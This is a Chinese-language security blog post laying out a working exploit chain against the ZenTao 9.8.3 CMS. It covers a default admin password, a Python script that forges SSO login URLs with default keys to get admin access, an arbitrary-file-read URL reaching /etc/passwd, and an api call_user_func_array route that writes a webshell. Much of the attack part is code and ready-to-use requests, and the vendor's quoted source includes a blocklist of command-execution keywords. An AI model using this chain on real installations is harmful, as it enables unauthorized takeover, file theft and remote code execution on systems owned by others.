0x01 前言

平时不好好学习的结果就是到学期末所有的事情都堆到一起,上博客一看,又将近两个月没更新了,抓紧出两篇刷刷存在感。。。近期跟禅道这个cms打了几次交道,从中学到了几个很骚的思路,在这里记录一下。

0x02 漏洞

测试环境使用当前开源版的最新版本9.8.3:http://www.zentao.net/download/80072.html

2.1 登陆后台

由于禅道几乎所有的操作都需要登陆后台,所以我们第一步就是要获取后台权限,这里有几个方法。

2.1.1 后台弱口令

禅道后台管理员admin的密码默认为123456,但是登陆后台后如果检测到密码强度过低的话,所有页面都会重定向到改密码的页面,强制修改密码,否则无法进行其他操作。

2.1.2 9.2.1版本一处前台注入

柠檬师傅的详细分析在这里,不班门弄斧了。

2.1.3 sso单点登陆

这是比较骚的一个思路,可以不用登陆直接获取admin权限。

module/sso/control.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public function login($type = 'notify')
{
$referer = empty($_GET['referer']) ? '' : $this->get->referer;
$locate = empty($referer) ? getWebRoot() : base64_decode($referer);

$this->app->loadConfig('sso');
if(!$this->config->sso->turnon) die($this->locate($locate));

$userIP = $this->server->remote_addr; //用户ip
$code = $this->config->sso->code; //数据库中获取
$key = $this->config->sso->key; //数据库中获取
/*省略部分*/

if($this->get->status == 'success' and md5($this->get->data) == $this->get->md5)
{
$last = $this->server->request_time;
$data = json_decode(base64_decode($this->get->data));

$token = $data->token;
if($data->auth == md5($code . $userIP . $token . $key))
{
$user = $this->sso->getBindUser($data->account);
if(!$user)
{
$this->session->set('ssoData', $data);
$this->locate($this->createLink('sso', 'bind', "referer=" . helper::safe64Encode($locate)));
}

if($this->loadModel('user')->isLogon())
{
if($this->session->user && $this->session->user->account == $user->account) die($this->locate($locate));
}

$this->user->cleanLocked($user->account);
/* Authorize him and save to session. 这里是重点*/
/*省略部分*/
}
}
$this->locate($this->createLink('user', 'login', empty($referer) ? '' : "referer=$referer"));
}

这里有几步验证,一步一步看。

  1. 需要status参数为success,并且data参数的md5值要与md5参数相同。

  2. data进行base64解码和json_decode之后,auth需要与md5($code . $userIP . $token . $key)相同。

    这里code、key在数据库中,是一个默认值,一般不会修改。token是data的元素,可控。

接下来就是绑定用户,验证,把认证信息存入session。附上生成url的代码,会更直观一点。

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib
import base64
import json

def md5(str):
md5 = hashlib.md5()
md5.update(str.encode('utf-8'))
return md5.hexdigest()

auth = md5('T6C5mypd2ZchLK0vAN9oz4YqP' + '192.168.250.1' + '' + 'vyoQHt5r8MD6bPksSwGmcd3gz')
data = base64.b64encode(json.dumps({"token":"","auth":auth,"account":"admin"}))
login_url = 'http://192.168.250.133:8000/www/index.php?m=sso&f=login&type=return&aHR0cDovL2hhY2tlZC5sb2wv&data=%s&status=success&md5=%s&' % (data, md5(data))
print(login_url)

2.2 任意文件读取

module/editor/control.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public function edit($filePath = '', $action = '', $isExtends = '')
{
$this->view->safeFilePath = $filePath;
$fileContent = '';
if($filePath)
{
$filePath = helper::safe64Decode($filePath);
if(strpos(strtolower($filePath), strtolower($this->app->getBasePath())) !== 0) die($this->lang->editor->editFileError);
if($action == 'extendOther' and file_exists($filePath))
{
$this->view->showContent = htmlspecialchars(file_get_contents($filePath));
}
if($action == 'edit' or $action == 'override')
{
if(file_exists($filePath))
{
$fileContent = file_get_contents($filePath);
if($action == 'override')
{
$fileContent = str_replace('../../', '../../../', $fileContent);
$fileContent = str_replace(array('\'./', '"./'), array('\'../../view/', '"../../view'), $fileContent);
}
}
else
{
$filePath = '';
}
}
/*省略*/
}
$this->view->fileContent = $fileContent;
$this->view->filePath = $filePath;
$this->view->action = $action;
$this->display();
}

首先将filePath进行base64解码,然后做了一个判断。

1
if(strpos(strtolower($filePath), strtolower($this->app->getBasePath())) !== 0) die($this->lang->editor->editFileError);

这里的$this->app->getBasePath()就是程序的根目录,如何获取到呢?

只要访问index.php?m=editor&f=edit,输入任意内容然后保存,弹出的警告就会暴露根目录。

mark

我们只要保证filePath里有程序的根目录,比如这里的/opt/zbox/app/zentao,然后再用../跳出来即可。

之后就没有任何过滤了,访问http://192.168.250.133:8000/zentao/index.php?m=editor&f=edit&filePath=L29wdC96Ym94L2FwcC96ZW50YW8vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==&action=edit

mark

2.3 GetShell

module/api/control.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function getModel($moduleName, $methodName, $params = '')
{
$params = explode(',', $params);
$newParams = array_shift($params);
foreach($params as $param)
{
$sign = strpos($param, '=') !== false ? '&' : ',';
$newParams .= $sign . $param;
}

parse_str($newParams, $params);
$module = $this->loadModel($moduleName);
$result = call_user_func_array(array(&$module, $methodName), $params);
if(dao::isError()) die(json_encode(dao::getError()));
$output['status'] = $result ? 'success' : 'fail';
$output['data'] = json_encode($result);
$output['md5'] = md5($output['data']);
$this->output = json_encode($output);
die($this->output);
}

这里调用了call_user_func_array函数,模块、方法、参数都是可控的,接下的任务就是找一个可以写文件的函数。

module/editor/model.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function save($filePath)
{
$fileContent = $this->post->fileContent;
$evils = array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$', 'include', 'require', 'assert');
$gibbedEvils = array('e v a l', 'e x e c', ' p a s s t h r u', ' p r o c _ o p e n', 's h e l l _ e x e c', 's y s t e m', '$ $', 'i n c l u d e', 'r e q u i r e', 'a s s e r t');
$fileContent = str_ireplace($gibbedEvils, $evils, $fileContent);
if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent);

$dirPath = dirname($filePath);
$extFilePath = substr($filePath, 0, strpos($filePath, DS . 'ext' . DS) + 4);
if(!is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, 0777, true);
if(is_writable($dirPath))
{
file_put_contents($filePath, $fileContent);
}
else
{
die(js::alert($this->lang->editor->notWritable . $extFilePath));
}
}

可以看到这里做了一些过滤,但是并不影响写shell。

这里有几个可写目录,一个是zentao/tmp,还有一个zentao/www/data,有的网站会配置直接访问www目录,上一级是访问不到的,所以最好将shell写入data或者其子目录中。

mark

0x04 参考文章

从SQL注入到Getshell:记一次禅道系统的渗透